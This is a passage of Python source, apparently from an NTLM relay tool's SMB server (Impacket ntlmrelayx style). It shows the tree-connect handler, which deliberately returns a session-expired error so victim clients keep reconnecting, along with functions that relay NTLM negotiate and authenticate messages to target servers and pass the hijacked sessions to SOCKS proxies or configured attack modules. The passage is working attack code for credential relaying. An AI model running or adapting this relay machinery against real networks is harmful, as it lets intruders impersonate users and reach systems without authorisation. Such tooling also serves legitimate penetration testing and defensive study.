730 del (connData['NEGOTIATE_MESSAGE']) 

731 del (connData['CHALLENGE_MESSAGE']) 

732 del (connData['AUTHENTICATE_MESSAGE']) 

733 connData['SMBClient'] = client 

734 connData['EncryptionKey'] = client.getStandardSecurityChallenge() 

735 smbServer.setConnectionData(connId, connData) 

736 

737 resp = smb.NewSMBPacket() 

738 resp['Flags1'] = smb.SMB.FLAGS1_REPLY 

739 resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ 

740 recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE 

741 

742 resp['Tid'] = recvPacket['Tid'] 

743 resp['Mid'] = recvPacket['Mid'] 

744 resp['Pid'] = connData['Pid'] 

745 

746 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) 

747 respParameters = smb.SMBTreeConnectAndXResponse_Parameters() 

748 respData = smb.SMBTreeConnectAndXResponse_Data() 

749 

750 treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) 

751 

752 if treeConnectAndXParameters['Flags'] & 0x8: 

753 respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() 

754 

755 treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) 

756 treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] 

757 treeConnectAndXData.fromString(SMBCommand['Data']) 

758 

759 ## Process here the request, does the share exist? 

760 UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) 

761 

762 # Is this a UNC? 

763 if ntpath.ismount(UNCOrShare): 

764 path = UNCOrShare.split('\\')[3] 

765 else: 

766 path = ntpath.basename(UNCOrShare) 

767 

768 # This is the key, force the client to reconnect. 

769 # It will loop until all targets are processed for this user 

770 errorCode = STATUS_NETWORK_SESSION_EXPIRED 

771 resp['ErrorCode'] = errorCode >> 16 

772 resp['_reserved'] = 0o3 

773 resp['ErrorClass'] = errorCode & 0xff 

774 

775 if path == 'IPC$': 

776 respData['Service'] = 'IPC' 

777 else: 

778 respData['Service'] = path 

779 respData['PadLen'] = 0 

780 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ) 

781 

782 respSMBCommand['Parameters'] = respParameters 

783 respSMBCommand['Data'] = respData 

784 

785 resp['Uid'] = connData['Uid'] 

786 resp.addCommand(respSMBCommand) 

787 smbServer.setConnectionData(connId, connData) 

788 

789 return None, [resp], errorCode 

790 ################################################################################ 

791 

792 #Initialize the correct client for the relay target 

793 def init_client(self,extSec): 

794 if self.target.scheme.upper() in self.config.protocolClients: 

795 client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec) 

796 client.initConnection() 

797 else: 

798 raise Exception('Protocol Client for %s not found!' % self.target.scheme) 

799 

800 

801 return client 

802 

803 def do_ntlm_negotiate(self,client,token): 

804 #Since the clients all support the same operations there is no target protocol specific code needed for now 

805 return client.sendNegotiate(token) 

806 

807 def do_ntlm_auth(self,client,SPNEGO_token,challenge): 

808 #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB 

809 clientResponse, errorCode = client.sendAuth(SPNEGO_token, challenge) 

810 

811 return clientResponse, errorCode 

812 

813 def do_attack(self,client): 

814 #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties 

815 # Check if SOCKS is enabled and if we support the target scheme 

816 if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes: 

817 if self.config.runSocks is True: 

818 # Pass all the data to the socksplugins proxy 

819 activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(), 

820 self.authUser, client, client.sessionData)) 

821 return 

822 

823 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks 

824 if self.target.scheme.upper() in self.config.attacks: 

825 # We have an attack.. go for it 

826 clientThread = self.config.attacks[self.target.scheme.upper()](self.config, client.session, self.authUser) 

827 clientThread.start() 

828 else: 

829 LOG.error('No attack configured for %s' % self.target.scheme.upper()) 

830 

831 def _start(self): 

832 self.server.daemon_threads=True 

833 self.server.serve_forever() 

834 LOG.info('Shutting down SMB Server') 

835 self.server.server_close() 

836 

837 def run(self): 

838 LOG.info("Setting up SMB Server") 

839 self._start() 

840